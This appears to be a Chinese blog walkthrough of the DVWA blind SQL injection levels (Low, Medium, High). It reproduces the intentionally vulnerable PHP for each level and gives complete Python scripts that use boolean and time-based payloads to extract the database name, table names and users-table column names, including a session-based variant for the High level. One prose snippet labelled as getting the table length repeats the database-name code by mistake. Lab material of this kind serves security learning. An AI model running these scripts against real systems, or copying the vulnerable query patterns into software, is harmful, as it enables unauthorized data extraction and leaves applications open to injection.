总结了dvwa中的sql盲注关卡

Low

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

include("sql-connection.php");

if(isset($_POST['id']) && isset($_POST['submit'])){
$id=$_POST['id'];
$sql="SELECT first_name , last_name FROM users WHERE user_id='$id'";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
if($row){
echo '<pre>User ID exists in the database.</pre>';
}
else{
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

所谓的盲注,就是既没有报错信息,查询结果也始终如一甚至没有查询结果,也就是我们不知道会得到什么结果

我们就不能像之前一样自由选择注入方法,没有报错信息,也就是说报错注入不能用

没有查询结果,也就是说联合注入不能用

剩下的也就是盲注

盲注又可以分为基于时间的盲注和布尔型的盲注

从源代码来看,这关没有报错信息,查询结果为空和不为空返回的信息是不同的,我们就可以利用返回信息来判断有无返回结果

我们先输入1,发现有返回结果

再输入1’,发现没有返回结果

输入1’#,发现有返回结果

说明id被单引号包裹,然后1是有查询结果的,然后我们就可以通用 1’ and 后面的语句进行盲注

and 后面的语句如果为真,则有返回结果,and 后面语句为假,则没有返回结果,我们可以在mysql命令行里先试着模拟注入语句

把and后面的语句修改为注入的逻辑语句,这就是布尔型的盲注,举个例子,我们可以用布尔型盲注判断数据库名字的长度

输入1’ and length(database())=4#

而另一种基于时间的盲注,则是通过if(判断语句,1,sleep(5))来进行注入,如果判断语句为真,则不会sleep,为假则sleep 5秒

但是盲注的缺点就是一条一条试太麻烦了,这时候脚本的作用就体现出来了

我们先通过基于时间的盲注获取数据库名的长度

1
2
3
4
5
6
7
8
9
10
11
for i in range(1,11):
data={
'id':"1' and if(length(database())=%d,1,sleep(5))#"%i,
'submit':'Submit'
}
r=requests.post(url,data=data)
t=r.elapsed.total_seconds()
if(t<5):
database_length=i
print('The length of database is:',database_length)
break

这里r.elapsed.total_seconds()函数的作用是返回服务器接受请求到相应之间的时间,如果我们的判断语句length(database())=i 结果为真,则就不会sleep 5秒,t自然就小于5,就得到了数据库的长度

有了数据库名的长度,就可以获取数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(1,5):
for j in range(95,123):
data={
'id':"1' and if(ascii(substr(database(),%d,1))=%d,1,sleep(5))#"%(i,j),
'submit':'Submit'
}
r=requests.post(url,data=data)
t=r.elapsed.total_seconds()
print('the time of',chr(j),'is',t)
if(t<5):
database=database+chr(j)
print('The name of database is:',database)
break

先获取数据库名长度的作用就是用来一位一位的截取数据库名的字符进行判断,如果等于一个ascii值则t<5,这样一位一位的得到数据库名的字符

同样的方法获取数据表的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(1,5):
for j in range(95,123):
data={
'id':"1' and if(ascii(substr(database(),%d,1))=%d,1,sleep(5))#"%(i,j),
'submit':'Submit'
}
r=requests.post(url,data=data)
t=r.elapsed.total_seconds()
print('the time of',chr(j),'is',t)
if(t<5):
database=database+chr(j)
print('The name of database is:',database)
break

获取数据表名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for i in range(1,16):
for j in range(95,123):
data={
'id':"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,1,sleep(3))#"%(i,j),
'submit':'Submit'
}
r=requests.post(url,data=data)
t=r.elapsed.total_seconds()
print('the time of',chr(j),'is:',t)
if(t<3):
table_name=table_name+chr(j)
print('The name of table is:',table_name)
flag=1
break
else:
if(j==122):
table_name=table_name+','

获取users表下数据列总长度:

1
2
3
4
5
6
7
8
9
10
for i in range(90,100):
data={
'id':"1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))=%d#"%i,
'submit':'Submit'
}
r=requests.post(url,data=data)
if('User ID exists in the database.' in r.text):
column_length=i
print(column_length)
break

这里用了布尔型的盲注,由于数据列总长度可能较长,所以变量i的区间是通过反复尝试出来的

获取数据列名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(1,95):
for j in range(95,123):
data={
'id':"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1))=%d#"%(i,j),
'submit':'Submit'
}
r=requests.post(url,data=data)
if('User ID exists in the database.' in r.text):
column_name=column_name+chr(j)
print("The name of column is:",column_name)
break
else:
if(j==122):
column_name=column_name+','

总结:大部分sql注入都是得不到想要的结果,也没有报错信息的,所以大部分情况下我们都要进行盲注,而盲注就强烈推荐使用脚本,可以非常好的节约时间和精力

下面贴上本关完整的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import requests

url='http://127.0.0.1/demo/sqli(blind)-low.php'
database_length=0
table_length=0
column_length=0
database=''
table_name=''
column_name=''

#获取数据库长度:4
for i in range(1,11):
data={
'id':"1' and if(length(database())=%d,1,sleep(5))#"%i,
'submit':'Submit'
}
r=requests.post(url,data=data)
t=r.elapsed.total_seconds()
if(t<5):
database_length=i
print('The length of database is:',database_length)
break

#获取数据库名:dvwa
for i in range(1,5):
for j in range(95,123):
data={
'id':"1' and if(ascii(substr(database(),%d,1))=%d,1,sleep(5))#"%(i,j),
'submit':'Submit'
}
r=requests.post(url,data=data)
t=r.elapsed.total_seconds()
print('the time of',chr(j),'is',t)
if(t<5):
database=database+chr(j)
print('The name of database is:',database)
break

#获取所有数据表总长度:15
for i in range(11,16):
data={
'id':"1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=%d,1,sleep(5))#"%i,
'submit':'Submit'
}
r=requests.post(url,data=data)
t=r.elapsed.total_seconds()
print(t)
if(t<5):
table_length=i
print('The length of table is:',table_length)
break

#获取所有数据表名:guestbook,users
for i in range(1,16):
for j in range(95,123):
data={
'id':"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,1,sleep(3))#"%(i,j),
'submit':'Submit'
}
r=requests.post(url,data=data)
t=r.elapsed.total_seconds()
print('the time of',chr(j),'is:',t)
if(t<3):
table_name=table_name+chr(j)
print('The name of table is:',table_name)
flag=1
break
else:
if(j==122):
table_name=table_name+','


#获取所有数据列总长度:94

for i in range(90,100):
data={
'id':"1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))=%d#"%i,
'submit':'Submit'
}
r=requests.post(url,data=data)
if('User ID exists in the database.' in r.text):
column_length=i
print(column_length)
break


#获取所有数据列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
for i in range(1,95):
for j in range(95,123):
data={
'id':"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1))=%d#"%(i,j),
'submit':'Submit'
}
r=requests.post(url,data=data)
if('User ID exists in the database.' in r.text):
column_name=column_name+chr(j)
print("The name of column is:",column_name)
break
else:
if(j==122):
column_name=column_name+','

Medium

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

include("sql-connection.php");

if(isset($_POST['submit'])){
$id=$_POST['id'];
$id=mysql_real_escape_string($id);
$sql="SELECT first_name,last_name FROM users where user_id=$id";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
if($row){
echo '<pre>User ID exists in the database.</pre>';
}
else{
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

跟之前关卡区别只在于id未被引号包裹,稍微修改一下注入语句,跟之前关卡没什么区别,这里就不贴脚本了,参考上面的代码即可

High

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

session_start();

include("sql-connection.php");

if (isset($_SESSION['id'])){
$id=$_SESSION['id'];
$sql="SELECT first_name , last_name FROM users where user_id='$id'";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
if($row){
echo '<pre>User ID exists in the database.</pre>';
}
else{
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

有两个页面,一个页面用来接收post的id值并赋值给session的id值,主页面接受session的id值进行查询

这里的脚本需要特别注意一点,因为是两个页面,所以要把post的数据提交给input页面,然后再访问index主页面,这就需要利用到requests库的Session对象

以获取数据库名长度为例子说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(1,11):
data={
'id':"1' and if(length(database())=%d,1,sleep(5))#"%i,
'submit':'Submit'
}
s=requests.Session()
s.post(url_input,data=data)
r=s.get(url_index)
t=r.elapsed.total_seconds()
if(t<5):
database_length=i
print('The length of database is:',database_length)
break

先创建一个Session对象,利用该对象将数据post到input页面,然后再通过Session对象访问index页面

其他的改法类似,就不一一赘述了

下面贴上本关完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import requests

url_input="http://127.0.0.1/demo/session-input.php"
url_index="http://127.0.0.1/demo/sqli(blind)-high.php"

database_length=0
table_length=0
column_length=0
database=''
table_name=''
column_name=''

#获取数据库长度:4
for i in range(1,11):
data={
'id':"1' and if(length(database())=%d,1,sleep(5))#"%i,
'submit':'Submit'
}
s=requests.Session()
s.post(url_input,data=data)
r=s.get(url_index)
t=r.elapsed.total_seconds()
if(t<5):
database_length=i
print('The length of database is:',database_length)
break


#获取数据库名:dvwa
for i in range(1,5):
for j in range(95,123):
data={
'id':"1' and if(ascii(substr(database(),%d,1))=%d,1,sleep(5))#"%(i,j),
'submit':'Submit'
}
s=requests.Session()
s.post(url_input,data=data)
r=s.get(url_index)
t=r.elapsed.total_seconds()
print('the time of',chr(j),'is',t)
if(t<5):
database=database+chr(j)
print('The name of database is:',database)
break

#获取所有数据表总长度:15
for i in range(11,16):
data={
'id':"1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=%d,1,sleep(5))#"%i,
'submit':'Submit'
}
s=requests.Session()
s.post(url_input,data=data)
r=s.get(url_index)
t=r.elapsed.total_seconds()
print(t)
if(t<5):
table_length=i
print('The length of table is:',table_length)
break

#获取所有数据表名:guestbook,users
for i in range(1,16):
for j in range(95,123):
data={
'id':"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,1,sleep(3))#"%(i,j),
'submit':'Submit'
}
s=requests.Session()
s.post(url_input,data=data)
r=s.get(url_index)
t=r.elapsed.total_seconds()
print('the time of',chr(j),'is:',t)
if(t<3):
table_name=table_name+chr(j)
print('The name of table is:',table_name)
flag=1
break
else:
if(j==122):
table_name=table_name+','

#获取所有数据列总长度:94
for i in range(90,100):
data={
'id':"1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))=%d#"%i,
'submit':'Submit'
}
s=requests.Session()
s.post(url_input,data=data)
r=s.get(url_index)
if('User ID exists in the database.' in r.text):
column_length=i
print(column_length)
break

#获取所有数据列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
for i in range(1,95):
for j in range(95,123):
data={
'id':"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1))=%d#"%(i,j),
'submit':'Submit'
}
s=requests.Session()
s.post(url_input,data=data)
r=s.get(url_index)
if('User ID exists in the database.' in r.text):
column_name=column_name+chr(j)
print("The name of column is:",column_name)
break
else:
if(j==122):
column_name=column_name+','